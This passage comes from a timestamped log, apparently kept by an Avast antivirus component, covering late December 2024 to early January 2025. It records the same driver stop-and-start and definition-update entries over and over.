13:41:31 AR2DEV: Stopped 1 2024-12-16 13:41:31 AVAVER: 21.2.2455 AR2: 241126 defs: 24121600 2024-12-16 13:41:31 ARPOT2: Start 6048 2024-12-16 13:41:31 AR2CFG: 241125 2024-12-16 13:41:31 AR2DEV: Start 1 Driver: 210305 2024-12-16 21:42:35 AR2DEV: Stopped 1 2024-12-16 21:42:35 AVAVER: 21.2.2455 AR2: 241205 defs: 24121602 2024-12-16 21:42:35 ARPOT2: Start 6096 2024-12-16 21:42:35 AR2CFG: 241205 2024-12-16 21:42:35 AR2DEV: Start 1 Driver: 210305 2024-12-16 21:42:35 AR2DEV: Stopped 1 2024-12-16 21:42:35 AVAVER: 21.2.2455 AR2: 241205 defs: 24121602 2024-12-16 21:42:35 ARPOT2: Start 4468 2024-12-16 21:42:35 AR2CFG: 241205 2024-12-16 21:42:35 AR2DEV: Start 1 Driver: 210305 2024-12-17 17:44:02 AR2DEV: Stopped 1 2024-12-17 17:44:02 AVAVER: 21.2.2455 AR2: 241205 defs: 24121704 2024-12-17 17:44:02 ARPOT2: Start 2800 2024-12-17 17:44:02 AR2CFG: 241205 2024-12-17 17:44:02 AR2DEV: Start 1 Driver: 210305 2024-12-17 17:44:02 AR2DEV: Stopped 1 2024-12-17 17:44:02 AVAVER: 21.2.2455 AR2: 241205 defs: 24121704 2024-12-17 17:44:02 ARPOT2: Start 5564 2024-12-17 17:44:02 AR2CFG: 241205 2024-12-17 17:44:02 AR2DEV: Start 1 Driver: 210305 2024-12-17 21:45:12 AR2DEV: Stopped 1 2024-12-17 21:45:12 AVAVER: 21.2.2455 AR2: 241205 defs: 24121706 2024-12-17 21:45:12 ARPOT2: Start 2320 2024-12-17 21:45:12 AR2CFG: 241205 2024-12-17 21:45:12 AR2DEV: Start 1 Driver: 210305 2024-12-17 21:45:12 AR2DEV: Stopped 1 2024-12-17 21:45:12 AVAVER: 21.2.2455 AR2: 241205 defs: 24121706 2024-12-17 21:45:12 ARPOT2: Start 4356 2024-12-17 21:45:12 AR2CFG: 241205 2024-12-17 21:45:12 AR2DEV: Start 1 Driver: 210305 2024-12-18 05:46:13 AR2DEV: Stopped 1 2024-12-18 05:46:13 AVAVER: 21.2.2455 AR2: 241205 defs: 24121714 2024-12-18 05:46:13 ARPOT2: Start 3636 2024-12-18 05:46:13 AR2CFG: 241205 2024-12-18 05:46:13 AR2DEV: Start 1 Driver: 210305 2024-12-18 05:46:13 AR2DEV: Stopped 1 2024-12-18 05:46:13 AVAVER: 21.2.2455 AR2: 241205 defs: 24121714 2024-12-18 05:46:13 ARPOT2: Start 4436 2024-12-18 05:46:13 AR2CFG: 241205 2024-12-18 05:46:13 AR2DEV: Start 1 Driver: 210305 2024-12-18 13:47:22 AR2DEV: Stopped 1 2024-12-18 13:47:22 AVAVER: 21.2.2455 AR2: 241205 defs: 24121800 2024-12-18 13:47:22 ARPOT2: Start 940 2024-12-18 13:47:22 AR2CFG: 241205 2024-12-18 13:47:22 AR2DEV: Start 1 Driver: 210305 2024-12-18 13:47:22 AR2DEV: Stopped 1 2024-12-18 13:47:22 AVAVER: 21.2.2455 AR2: 241205 defs: 24121800 2024-12-18 13:47:22 ARPOT2: Start 6056 2024-12-18 13:47:22 AR2CFG: 241205 2024-12-18 13:47:22 AR2DEV: Start 1 Driver: 210305 2024-12-18 17:48:10 AR2DEV: Stopped 1 2024-12-18 17:48:10 AVAVER: 21.2.2455 AR2: 241205 defs: 24121802 2024-12-18 17:48:10 ARPOT2: Start 2792 2024-12-18 17:48:10 AR2CFG: 241205 2024-12-18 17:48:10 AR2DEV: Start 1 Driver: 210305 2024-12-18 17:48:11 AR2DEV: Stopped 1 2024-12-18 17:48:11 AVAVER: 21.2.2455 AR2: 241205 defs: 24121802 2024-12-18 17:48:11 ARPOT2: Start 5184 2024-12-18 17:48:11 AR2CFG: 241205 2024-12-18 17:48:11 AR2DEV: Start 1 Driver: 210305 2024-12-18 21:49:05 AR2DEV: Stopped 1 2024-12-18 21:49:05 AVAVER: 21.2.2455 AR2: 241205 defs: 24121804 2024-12-18 21:49:05 ARPOT2: Start 5072 2024-12-18 21:49:05 AR2CFG: 241205 2024-12-18 21:49:05 AR2DEV: Start 1 Driver: 210305 2024-12-18 21:49:06 AR2DEV: Stopped 1 2024-12-18 21:49:06 AVAVER: 21.2.2455 AR2: 241205 defs: 24121804 2024-12-18 21:49:06 ARPOT2: Start 1100 2024-12-18 21:49:06 AR2CFG: 241205 2024-12-18 21:49:06 AR2DEV: Start 1 Driver: 210305 2024-12-19 01:50:08 AR2DEV: Stopped 1 2024-12-19 01:50:08 AVAVER: 21.2.2455 AR2: 241205 defs: 24121806 2024-12-19 01:50:08 ARPOT2: Start 4348 2024-12-19 01:50:08 AR2CFG: 241205 2024-12-19 01:50:09 AR2DEV: Start 1 Driver: 210305 2024-12-19 01:50:09 AR2DEV: Stopped 1 2024-12-19 01:50:09 AVAVER: 21.2.2455 AR2: 241205 defs: 24121806 2024-12-19 01:50:09 ARPOT2: Start 1516 2024-12-19 01:50:09 AR2CFG: 241205 2024-12-19 01:50:09 AR2DEV: Start 1 Driver: 210305 2024-12-19 21:51:26 AR2DEV: Stopped 1 2024-12-19 21:51:26 AVAVER: 21.2.2455 AR2: 241205 defs: 24121906 2024-12-19 21:51:26 ARPOT2: Start 4892 2024-12-19 21:51:26 AR2CFG: 241205 2024-12-19 21:51:27 AR2DEV: Start 1 Driver: 210305 2024-12-19 21:51:27 AR2DEV: Stopped 1 2024-12-19 21:51:27 AVAVER: 21.2.2455 AR2: 241205 defs: 24121906 2024-12-19 21:51:27 ARPOT2: Start 940 2024-12-19 21:51:27 AR2CFG: 241205 2024-12-19 21:51:27 AR2DEV: Start 1 Driver: 210305 2024-12-20 01:52:23 AR2DEV: Stopped 1 2024-12-20 01:52:23 AVAVER: 21.2.2455 AR2: 241205 defs: 24121908 2024-12-20 01:52:23 ARPOT2: Start 5420 2024-12-20 01:52:23 AR2CFG: 241205 2024-12-20 01:52:23 AR2DEV: Start 1 Driver: 210305 2024-12-20 01:52:24 AR2DEV: Stopped 1 2024-12-20 01:52:24 AVAVER: 21.2.2455 AR2: 241205 defs: 24121908 2024-12-20 01:52:24 ARPOT2: Start 4492 2024-12-20 01:52:24 AR2CFG: 241205 2024-12-20 01:52:24 AR2DEV: Start 1 Driver: 210305 2024-12-20 13:53:28 AR2DEV: Stopped 1 2024-12-20 13:53:28 AVAVER: 21.2.2455 AR2: 241205 defs: 24122000 2024-12-20 13:53:28 ARPOT2: Start 2176 2024-12-20 13:53:28 AR2CFG: 241205 2024-12-20 13:53:28 AR2DEV: Start 1 Driver: 210305 2024-12-20 13:53:28 AR2DEV: Stopped 1 2024-12-20 13:53:28 AVAVER: 21.2.2455 AR2: 241205 defs: 24122000 2024-12-20 13:53:28 ARPOT2: Start 5920 2024-12-20 13:53:28 AR2CFG: 241205 2024-12-20 13:53:28 AR2DEV: Start 1 Driver: 210305 2024-12-21 05:54:51 AR2DEV: Stopped 1 2024-12-21 05:54:51 AVAVER: 21.2.2455 AR2: 241205 defs: 24122012 2024-12-21 05:54:51 ARPOT2: Start 2448 2024-12-21 05:54:51 AR2CFG: 241205 2024-12-21 05:54:51 AR2DEV: Start 1 Driver: 210305 2024-12-21 05:54:51 AR2DEV: Stopped 1 2024-12-21 05:54:51 AVAVER: 21.2.2455 AR2: 241205 defs: 24122012 2024-12-21 05:54:51 ARPOT2: Start 5820 2024-12-21 05:54:51 AR2CFG: 241205 2024-12-21 05:54:51 AR2DEV: Start 1 Driver: 210305 2024-12-21 13:55:59 AR2DEV: Stopped 1 2024-12-21 13:55:59 AVAVER: 21.2.2455 AR2: 241205 defs: 24122100 2024-12-21 13:55:59 ARPOT2: Start 5688 2024-12-21 13:55:59 AR2CFG: 241205 2024-12-21 13:55:59 AR2DEV: Start 1 Driver: 210305 2024-12-21 13:55:59 AR2DEV: Stopped 1 2024-12-21 13:55:59 AVAVER: 21.2.2455 AR2: 241205 defs: 24122100 2024-12-21 13:55:59 ARPOT2: Start 984 2024-12-21 13:55:59 AR2CFG: 241205 2024-12-21 13:55:59 AR2DEV: Start 1 Driver: 210305 2024-12-21 21:57:09 AR2DEV: Stopped 1 2024-12-21 21:57:09 AVAVER: 21.2.2455 AR2: 241205 defs: 24122102 2024-12-21 21:57:09 ARPOT2: Start 5228 2024-12-21 21:57:09 AR2CFG: 241205 2024-12-21 21:57:09 AR2DEV: Start 1 Driver: 210305 2024-12-21 21:57:10 AR2DEV: Stopped 1 2024-12-21 21:57:10 AVAVER: 21.2.2455 AR2: 241205 defs: 24122102 2024-12-21 21:57:10 ARPOT2: Start 5940 2024-12-21 21:57:10 AR2CFG: 241205 2024-12-21 21:57:10 AR2DEV: Start 1 Driver: 210305 2024-12-22 01:58:05 AR2DEV: Stopped 1 2024-12-22 01:58:05 AVAVER: 21.2.2455 AR2: 241205 defs: 24122104 2024-12-22 01:58:05 ARPOT2: Start 2704 2024-12-22 01:58:05 AR2CFG: 241205 2024-12-22 01:58:05 AR2DEV: Start 1 Driver: 210305 2024-12-22 01:58:06 AR2DEV: Stopped 1 2024-12-22 01:58:06 AVAVER: 21.2.2455 AR2: 241205 defs: 24122104 2024-12-22 01:58:06 ARPOT2: Start 4092 2024-12-22 01:58:06 AR2CFG: 241205 2024-12-22 01:58:06 AR2DEV: Start 1 Driver: 210305 2024-12-22 13:59:24 AR2DEV: Stopped 1 2024-12-22 13:59:24 AVAVER: 21.2.2455 AR2: 241205 defs: 24122200 2024-12-22 13:59:24 ARPOT2: Start 3980 2024-12-22 13:59:24 AR2CFG: 241205 2024-12-22 13:59:24 AR2DEV: Start 1 Driver: 210305 2024-12-22 13:59:25 AR2DEV: Stopped 1 2024-12-22 13:59:25 AVAVER: 21.2.2455 AR2: 241205 defs: 24122200 2024-12-22 13:59:25 ARPOT2: Start 1404 2024-12-22 13:59:25 AR2CFG: 241205 2024-12-22 13:59:25 AR2DEV: Start 1 Driver: 210305 2024-12-22 22:00:21 AR2DEV: Stopped 1 2024-12-22 22:00:21 AVAVER: 21.2.2455 AR2: 241205 defs: 24122202 2024-12-22 22:00:21 ARPOT2: Start 1124 2024-12-22 22:00:21 AR2CFG: 241205 2024-12-22 22:00:21 AR2DEV: Start 1 Driver: 210305 2024-12-22 22:00:21 AR2DEV: Stopped 1 2024-12-22 22:00:21 AVAVER: 21.2.2455 AR2: 241205 defs: 24122202 2024-12-22 22:00:21 ARPOT2: Start 2820 2024-12-22 22:00:21 AR2CFG: 241205 2024-12-22 22:00:21 AR2DEV: Start 1 Driver: 210305 2024-12-23 02:01:21 AR2DEV: Stopped 1 2024-12-23 02:01:21 AVAVER: 21.2.2455 AR2: 241205 defs: 24122204 2024-12-23 02:01:21 ARPOT2: Start 5492 2024-12-23 02:01:21 AR2CFG: 241205 2024-12-23 02:01:21 AR2DEV: Start 1 Driver: 210305 2024-12-23 02:01:22 AR2DEV: Stopped 1 2024-12-23 02:01:22 AVAVER: 21.2.2455 AR2: 241205 defs: 24122204 2024-12-23 02:01:22 ARPOT2: Start 4984 2024-12-23 02:01:22 AR2CFG: 241205 2024-12-23 02:01:22 AR2DEV: Start 1 Driver: 210305 2024-12-23 14:02:32 AR2DEV: Stopped 1 2024-12-23 14:02:32 AVAVER: 21.2.2455 AR2: 241205 defs: 24122300 2024-12-23 14:02:32 ARPOT2: Start 5128 2024-12-23 14:02:32 AR2CFG: 241205 2024-12-23 14:02:32 AR2DEV: Start 1 Driver: 210305 2024-12-23 14:02:32 AR2DEV: Stopped 1 2024-12-23 14:02:33 AVAVER: 21.2.2455 AR2: 241205 defs: 24122300 2024-12-23 14:02:33 ARPOT2: Start 4144 2024-12-23 14:02:33 AR2CFG: 241205 2024-12-23 14:02:33 AR2DEV: Start 1 Driver: 210305 2024-12-23 22:03:29 AR2DEV: Stopped 1 2024-12-23 22:03:29 AVAVER: 21.2.2455 AR2: 241205 defs: 24122302 2024-12-23 22:03:29 ARPOT2: Start 1636 2024-12-23 22:03:29 AR2CFG: 241205 2024-12-23 22:03:29 AR2DEV: Start 1 Driver: 210305 2024-12-23 22:03:29 AR2DEV: Stopped 1 2024-12-23 22:03:29 AVAVER: 21.2.2455 AR2: 241205 defs: 24122302 2024-12-23 22:03:29 ARPOT2: Start 460 2024-12-23 22:03:29 AR2CFG: 241205 2024-12-23 22:03:29 AR2DEV: Start 1 Driver: 210305 2024-12-24 02:04:31 AR2DEV: Stopped 1 2024-12-24 02:04:31 AVAVER: 21.2.2455 AR2: 241205 defs: 24122304 2024-12-24 02:04:31 ARPOT2: Start 2304 2024-12-24 02:04:31 AR2CFG: 241205 2024-12-24 02:04:31 AR2DEV: Start 1 Driver: 210305 2024-12-24 02:04:31 AR2DEV: Stopped 1 2024-12-24 02:04:31 AVAVER: 21.2.2455 AR2: 241205 defs: 24122304 2024-12-24 02:04:31 ARPOT2: Start 2180 2024-12-24 02:04:31 AR2CFG: 241205 2024-12-24 02:04:31 AR2DEV: Start 1 Driver: 210305 2024-12-24 14:05:36 AR2DEV: Stopped 1 2024-12-24 14:05:36 AVAVER: 21.2.2455 AR2: 241205 defs: 24122400 2024-12-24 14:05:36 ARPOT2: Start 1676 2024-12-24 14:05:36 AR2CFG: 241205 2024-12-24 14:05:36 AR2DEV: Start 1 Driver: 210305 2024-12-24 14:05:36 AR2DEV: Stopped 1 2024-12-24 14:05:36 AVAVER: 21.2.2455 AR2: 241205 defs: 24122400 2024-12-24 14:05:36 ARPOT2: Start 1928 2024-12-24 14:05:36 AR2CFG: 241205 2024-12-24 14:05:36 AR2DEV: Start 1 Driver: 210305 2024-12-24 22:06:33 AR2DEV: Stopped 1 2024-12-24 22:06:33 AVAVER: 21.2.2455 AR2: 241205 defs: 24122402 2024-12-24 22:06:33 ARPOT2: Start 3620 2024-12-24 22:06:33 AR2CFG: 241205 2024-12-24 22:06:33 AR2DEV: Start 1 Driver: 210305 2024-12-24 22:06:34 AR2DEV: Stopped 1 2024-12-24 22:06:34 AVAVER: 21.2.2455 AR2: 241205 defs: 24122402 2024-12-24 22:06:34 ARPOT2: Start 3676 2024-12-24 22:06:34 AR2CFG: 241205 2024-12-24 22:06:34 AR2DEV: Start 1 Driver: 210305 2024-12-25 02:07:24 AR2DEV: Stopped 1 2024-12-25 02:07:24 AVAVER: 21.2.2455 AR2: 241205 defs: 24122404 2024-12-25 02:07:24 ARPOT2: Start 4724 2024-12-25 02:07:24 AR2CFG: 241205 2024-12-25 02:07:24 AR2DEV: Start 1 Driver: 210305 2024-12-25 02:07:25 AR2DEV: Stopped 1 2024-12-25 02:07:25 AVAVER: 21.2.2455 AR2: 241205 defs: 24122404 2024-12-25 02:07:25 ARPOT2: Start 1956 2024-12-25 02:07:25 AR2CFG: 241205 2024-12-25 02:07:25 AR2DEV: Start 1 Driver: 210305 2024-12-25 22:08:37 AR2DEV: Stopped 1 2024-12-25 22:08:37 AVAVER: 21.2.2455 AR2: 241205 defs: 24122502 2024-12-25 22:08:37 ARPOT2: Start 1952 2024-12-25 22:08:37 AR2CFG: 241205 2024-12-25 22:08:37 AR2DEV: Start 1 Driver: 210305 2024-12-25 22:08:38 AR2DEV: Stopped 1 2024-12-25 22:08:38 AVAVER: 21.2.2455 AR2: 241205 defs: 24122502 2024-12-25 22:08:38 ARPOT2: Start 4600 2024-12-25 22:08:38 AR2CFG: 241205 2024-12-25 22:08:38 AR2DEV: Start 1 Driver: 210305 2024-12-26 02:09:43 AR2DEV: Stopped 1 2024-12-26 02:09:43 AVAVER: 21.2.2455 AR2: 241205 defs: 24122504 2024-12-26 02:09:43 ARPOT2: Start 1084 2024-12-26 02:09:43 AR2CFG: 241205 2024-12-26 02:09:43 AR2DEV: Start 1 Driver: 210305 2024-12-26 02:09:43 AR2DEV: Stopped 1 2024-12-26 02:09:43 AVAVER: 21.2.2455 AR2: 241205 defs: 24122504 2024-12-26 02:09:43 ARPOT2: Start 6892 2024-12-26 02:09:43 AR2CFG: 241205 2024-12-26 02:09:43 AR2DEV: Start 1 Driver: 210305 2024-12-26 14:10:48 AR2DEV: Stopped 1 2024-12-26 14:10:48 AVAVER: 21.2.2455 AR2: 241205 defs: 24122600 2024-12-26 14:10:48 ARPOT2: Start 2632 2024-12-26 14:10:48 AR2CFG: 241205 2024-12-26 14:10:48 AR2DEV: Start 1 Driver: 210305 2024-12-26 14:10:48 AR2DEV: Stopped 1 2024-12-26 14:10:48 AVAVER: 21.2.2455 AR2: 241205 defs: 24122600 2024-12-26 14:10:48 ARPOT2: Start 5624 2024-12-26 14:10:49 AR2CFG: 241205 2024-12-26 14:10:49 AR2DEV: Start 1 Driver: 210305 2024-12-26 22:11:59 AR2DEV: Stopped 1 2024-12-26 22:11:59 AVAVER: 21.2.2455 AR2: 241205 defs: 24122602 2024-12-26 22:11:59 ARPOT2: Start 4696 2024-12-26 22:11:59 AR2CFG: 241205 2024-12-26 22:11:59 AR2DEV: Start 1 Driver: 210305 2024-12-26 22:12:00 AR2DEV: Stopped 1 2024-12-26 22:12:00 AVAVER: 21.2.2455 AR2: 241205 defs: 24122602 2024-12-26 22:12:00 ARPOT2: Start 3812 2024-12-26 22:12:00 AR2CFG: 241205 2024-12-26 22:12:00 AR2DEV: Start 1 Driver: 210305 2024-12-27 02:13:00 AR2DEV: Stopped 1 2024-12-27 02:13:00 AVAVER: 21.2.2455 AR2: 241205 defs: 24122604 2024-12-27 02:13:00 ARPOT2: Start 6916 2024-12-27 02:13:00 AR2CFG: 241205 2024-12-27 02:13:00 AR2DEV: Start 1 Driver: 210305 2024-12-27 02:13:00 AR2DEV: Stopped 1 2024-12-27 02:13:00 AVAVER: 21.2.2455 AR2: 241205 defs: 24122604 2024-12-27 02:13:00 ARPOT2: Start 6444 2024-12-27 02:13:00 AR2CFG: 241205 2024-12-27 02:13:00 AR2DEV: Start 1 Driver: 210305 2024-12-27 14:14:04 AR2DEV: Stopped 1 2024-12-27 14:14:04 AVAVER: 21.2.2455 AR2: 241205 defs: 24122700 2024-12-27 14:14:04 ARPOT2: Start 4492 2024-12-27 14:14:04 AR2CFG: 241205 2024-12-27 14:14:04 AR2DEV: Start 1 Driver: 210305 2024-12-27 14:14:04 AR2DEV: Stopped 1 2024-12-27 14:14:04 AVAVER: 21.2.2455 AR2: 241205 defs: 24122700 2024-12-27 14:14:04 ARPOT2: Start 5348 2024-12-27 14:14:04 AR2CFG: 241205 2024-12-27 14:14:04 AR2DEV: Start 1 Driver: 210305 2024-12-27 22:15:05 AR2DEV: Stopped 1 2024-12-27 22:15:05 AVAVER: 21.2.2455 AR2: 241205 defs: 24122702 2024-12-27 22:15:05 ARPOT2: Start 3952 2024-12-27 22:15:05 AR2CFG: 241205 2024-12-27 22:15:05 AR2DEV: Start 1 Driver: 210305 2024-12-27 22:15:05 AR2DEV: Stopped 1 2024-12-27 22:15:05 AVAVER: 21.2.2455 AR2: 241205 defs: 24122702 2024-12-27 22:15:05 ARPOT2: Start 7124 2024-12-27 22:15:05 AR2CFG: 241205 2024-12-27 22:15:05 AR2DEV: Start 1 Driver: 210305 2024-12-29 02:16:51 AR2DEV: Stopped 1 2024-12-29 02:16:51 AVAVER: 21.2.2455 AR2: 241205 defs: 24122804 2024-12-29 02:16:51 ARPOT2: Start 5940 2024-12-29 02:16:51 AR2CFG: 241205 2024-12-29 02:16:52 AR2DEV: Start 1 Driver: 210305 2024-12-29 02:16:52 AR2DEV: Stopped 1 2024-12-29 02:16:52 AVAVER: 21.2.2455 AR2: 241205 defs: 24122804 2024-12-29 02:16:52 ARPOT2: Start 6552 2024-12-29 02:16:52 AR2CFG: 241205 2024-12-29 02:16:52 AR2DEV: Start 1 Driver: 210305 2024-12-29 18:18:13 AR2DEV: Stopped 1 2024-12-29 18:18:13 AVAVER: 21.2.2455 AR2: 241205 defs: 24122900 2024-12-29 18:18:13 ARPOT2: Start 6360 2024-12-29 18:18:13 AR2CFG: 241205 2024-12-29 18:18:13 AR2DEV: Start 1 Driver: 210305 2024-12-29 18:18:14 AR2DEV: Stopped 1 2024-12-29 18:18:14 AVAVER: 21.2.2455 AR2: 241205 defs: 24122900 2024-12-29 18:18:14 ARPOT2: Start 5196 2024-12-29 18:18:14 AR2CFG: 241205 2024-12-29 18:18:14 AR2DEV: Start 1 Driver: 210305 2024-12-29 22:19:05 AR2DEV: Stopped 1 2024-12-29 22:19:05 AVAVER: 21.2.2455 AR2: 241205 defs: 24122902 2024-12-29 22:19:05 ARPOT2: Start 6296 2024-12-29 22:19:05 AR2CFG: 241205 2024-12-29 22:19:05 AR2DEV: Start 1 Driver: 210305 2024-12-29 22:19:05 AR2DEV: Stopped 1 2024-12-29 22:19:05 AVAVER: 21.2.2455 AR2: 241205 defs: 24122902 2024-12-29 22:19:05 ARPOT2: Start 5988 2024-12-29 22:19:05 AR2CFG: 241205 2024-12-29 22:19:05 AR2DEV: Start 1 Driver: 210305 2024-12-30 02:20:09 AR2DEV: Stopped 1 2024-12-30 02:20:09 AVAVER: 21.2.2455 AR2: 241205 defs: 24122904 2024-12-30 02:20:09 ARPOT2: Start 3792 2024-12-30 02:20:09 AR2CFG: 241205 2024-12-30 02:20:09 AR2DEV: Start 1 Driver: 210305 2024-12-30 02:20:09 AR2DEV: Stopped 1 2024-12-30 02:20:09 AVAVER: 21.2.2455 AR2: 241205 defs: 24122904 2024-12-30 02:20:09 ARPOT2: Start 5528 2024-12-30 02:20:09 AR2CFG: 241205 2024-12-30 02:20:09 AR2DEV: Start 1 Driver: 210305 2024-12-30 14:21:17 AR2DEV: Stopped 1 2024-12-30 14:21:17 AVAVER: 21.2.2455 AR2: 241205 defs: 24123000 2024-12-30 14:21:17 ARPOT2: Start 1440 2024-12-30 14:21:17 AR2CFG: 241205 2024-12-30 14:21:17 AR2DEV: Start 1 Driver: 210305 2024-12-30 14:21:17 AR2DEV: Stopped 1 2024-12-30 14:21:17 AVAVER: 21.2.2455 AR2: 241205 defs: 24123000 2024-12-30 14:21:17 ARPOT2: Start 6428 2024-12-30 14:21:17 AR2CFG: 241205 2024-12-30 14:21:17 AR2DEV: Start 1 Driver: 210305 2024-12-30 22:22:27 AR2DEV: Stopped 1 2024-12-30 22:22:27 AVAVER: 21.2.2455 AR2: 241205 defs: 24123002 2024-12-30 22:22:27 ARPOT2: Start 6484 2024-12-30 22:22:27 AR2CFG: 241205 2024-12-30 22:22:27 AR2DEV: Start 1 Driver: 210305 2024-12-30 22:22:27 AR2DEV: Stopped 1 2024-12-30 22:22:27 AVAVER: 21.2.2455 AR2: 241205 defs: 24123002 2024-12-30 22:22:27 ARPOT2: Start 5888 2024-12-30 22:22:27 AR2CFG: 241205 2024-12-30 22:22:27 AR2DEV: Start 1 Driver: 210305 2024-12-31 02:23:36 AR2DEV: Stopped 1 2024-12-31 02:23:36 AVAVER: 21.2.2455 AR2: 241205 defs: 24123004 2024-12-31 02:23:36 ARPOT2: Start 6196 2024-12-31 02:23:36 AR2CFG: 241205 2024-12-31 02:23:36 AR2DEV: Start 1 Driver: 210305 2024-12-31 02:23:36 AR2DEV: Stopped 1 2024-12-31 02:23:36 AVAVER: 21.2.2455 AR2: 241205 defs: 24123004 2024-12-31 02:23:36 ARPOT2: Start 3620 2024-12-31 02:23:36 AR2CFG: 241205 2024-12-31 02:23:36 AR2DEV: Start 1 Driver: 210305 2024-12-31 14:24:38 AR2DEV: Stopped 1 2024-12-31 14:24:38 AVAVER: 21.2.2455 AR2: 241205 defs: 24123100 2024-12-31 14:24:38 ARPOT2: Start 6716 2024-12-31 14:24:38 AR2CFG: 241205 2024-12-31 14:24:38 AR2DEV: Start 1 Driver: 210305 2024-12-31 14:24:38 AR2DEV: Stopped 1 2024-12-31 14:24:38 AVAVER: 21.2.2455 AR2: 241205 defs: 24123100 2024-12-31 14:24:38 ARPOT2: Start 5708 2024-12-31 14:24:38 AR2CFG: 241205 2024-12-31 14:24:38 AR2DEV: Start 1 Driver: 210305 2024-12-31 22:25:31 AR2DEV: Stopped 1 2024-12-31 22:25:31 AVAVER: 21.2.2455 AR2: 241205 defs: 24123102 2024-12-31 22:25:31 ARPOT2: Start 6756 2024-12-31 22:25:31 AR2CFG: 241205 2024-12-31 22:25:31 AR2DEV: Start 1 Driver: 210305 2024-12-31 22:25:32 AR2DEV: Stopped 1 2024-12-31 22:25:32 AVAVER: 21.2.2455 AR2: 241205 defs: 24123102 2024-12-31 22:25:32 ARPOT2: Start 2404 2024-12-31 22:25:32 AR2CFG: 241205 2024-12-31 22:25:32 AR2DEV: Start 1 Driver: 210305 2025-01-01 02:26:20 AR2DEV: Stopped 1 2025-01-01 02:26:20 AVAVER: 21.2.2455 AR2: 241205 defs: 24123104 2025-01-01 02:26:20 ARPOT2: Start 2808 2025-01-01 02:26:20 AR2CFG: 241205 2025-01-01 02:26:20 AR2DEV: Start 1 Driver: 210305 2025-01-01 02:26:20 AR2DEV: Stopped 1 2025-01-01 02:26:20 AVAVER: 21.2.2455 AR2: 241205 defs: 24123104 2025-01-01 02:26:20 ARPOT2: Start 6348 2025-01-01 02:26:20 AR2CFG: 241205 2025-01-01 02:26:20 AR2DEV: Start 1 Driver: 210305 2025-01-01 14:27:36 AR2DEV: Stopped 1 2025-01-01 14:27:36 AVAVER: 21.2.2455 AR2: 241205 defs: 25010100 2025-01-01 14:27:36 ARPOT2: Start 2708 2025-01-01 14:27:36 AR2CFG: 241205 2025-01-01 14:27:36 AR2DEV: Start 1 Driver: 210305 2025-01-01 14:27:37 AR2DEV: Stopped 1 2025-01-01 14:27:37 AVAVER: 21.2.2455 AR2: 241205 defs: 25010100 2025-01-01 14:27:37 ARPOT2: Start 6408 2025-01-01 14:27:37 AR2CFG: 241205 2025-01-01 14:27:37 AR2DEV: Start 1 Driver: 210305 2025-01-01 22:28:42 AR2DEV: Stopped 1 2025-01-01 22:28:42 AVAVER: 21.2.2455 AR2: 241205 defs: 25010102 2025-01-01 22:28:42 ARPOT2: Start 6760 2025-01-01 22:28:42 AR2CFG: 241205 2025-01-01 22:28:42 AR2DEV: Start 1 Driver: 210305 2025-01-01 22:28:42 AR2DEV: Stopped 1 2025-01-01 22:28:42 AVAVER: 21.2.2455 AR2: 241205 defs: 25010102 2025-01-01 22:28:42 ARPOT2: Start 1124 2025-01-01 22:28:42 AR2CFG: 241205 2025-01-01 22:28:42 AR2DEV: Start 1 Driver: 210305 2025-01-02 02:29:35 AR2DEV: Stopped 1 2025-01-02 02:29:35 AVAVER: 21.2.2455 AR2: 241205 defs: 25010104 2025-01-02 02:29:35 ARPOT2: Start 6548 2025-01-02 02:29:35 AR2CFG: 241205 2025-01-02 02:29:35 AR2DEV: Start 1 Driver: 210305 2025-01-02 02:29:36 AR2DEV: Stopped 1 2025-01-02 02:29:36 AVAVER: 21.2.2455 AR2: 241205 defs: 25010104 2025-01-02 02:29:36 ARPOT2: Start 6712 2025-01-02 02:29:36 AR2CFG: 241205 2025-01-02 02:29:36 AR2DEV: Start 1 Driver: 210305 2025-01-02 18:30:46 AR2DEV: Stopped 1 2025-01-02 18:30:46 AVAVER: 21.2.2455 AR2: 241205 defs: 25010200 2025-01-02 18:30:46 ARPOT2: Start 5228 2025-01-02 18:30:46 AR2CFG: 241205 2025-01-02 18:30:46 AR2DEV: Start 1 Driver: 210305 2025-01-02 18:30:47 AR2DEV: Stopped 1 2025-01-02 18:30:47 AVAVER: 21.2.2455 AR2: 241205 defs: 25010200 2025-01-02 18:30:47 ARPOT2: Start 6292 2025-01-02 18:30:47 AR2CFG: 241205 2025-01-02 18:30:47 AR2DEV: Start 1 Driver: 210305 2025-01-02 22:31:40 AR2DEV: Stopped 1 2025-01-02 22:31:40 AVAVER: 21.2.2455 AR2: 241205 defs: 25010202 2025-01-02 22:31:40 ARPOT2: Start 4904 2025-01-02 22:31:40 AR2CFG: 241205 2025-01-02 22:31:40 AR2DEV: Start 1 Driver: 210305 2025-01-02 22:31:41 AR2DEV: Stopped 1 2025-01-02 22:31:41 AVAVER: 21.2.2455 AR2: 241205 defs: 25010202 2025-01-02 22:31:41 ARPOT2: Start 6772 2025-01-02 22:31:41 AR2CFG: 241205 2025-01-02 22:31:41 AR2DEV: Start 1 Driver: 210305 2025-01-03 02:32:38 AR2DEV: Stopped 1 2025-01-03 02:32:38 AVAVER: 21.2.2455 AR2: 241205 defs: 25010204 2025-01-03 02:32:38 ARPOT2: Start 5240 2025-01-03 02:32:38 AR2CFG: 241205 2025-01-03 02:32:38 AR2DEV: Start 1 Driver: 210305 2025-01-03 02:32:39 AR2DEV: Stopped 1 2025-01-03 02:32:39 AVAVER: 21.2.2455 AR2: 241205 defs: 25010204 2025-01-03 02:32:39 ARPOT2: Start 7108 2025-01-03 02:32:39 AR2CFG: 241205 2025-01-03 02:32:39 AR2DEV: Start 1 Driver: 210305 2025-01-03 14:33:40 AR2DEV: Stopped 1 2025-01-03 14:33:40 AVAVER: 21.2.2455 AR2: 241205 defs: 25010300 2025-01-03 14:33:40 ARPOT2: Start 6744 2025-01-03 14:33:40 AR2CFG: 241205 2025-01-03 14:33:40 AR2DEV: Start 1 Driver: 210305 2025-01-03 14:33:40 AR2DEV: Stopped 1 2025-01-03 14:33:40 AVAVER: 21.2.2455 AR2: 241205 defs: 25010300 2025-01-03 14:33:40 ARPOT2: Start 3684 2025-01-03 14:33:40 AR2CFG: 241205 2025-01-03 14:33:40 AR2DEV: Start 1 Driver: 210305 2025-01-03 22:34:33 AR2DEV: Stopped 1 2025-01-03 22:34:33 AVAVER: 21.2.2455 AR2: 241205 defs: 25010302 2025-01-03 22:34:33 ARPOT2: Start 5196 2025-01-03 22:34:33 AR2CFG: 241205 2025-01-03 22:34:33 AR2DEV: Start 1 Driver: 210305 2025-01-03 22:34:33 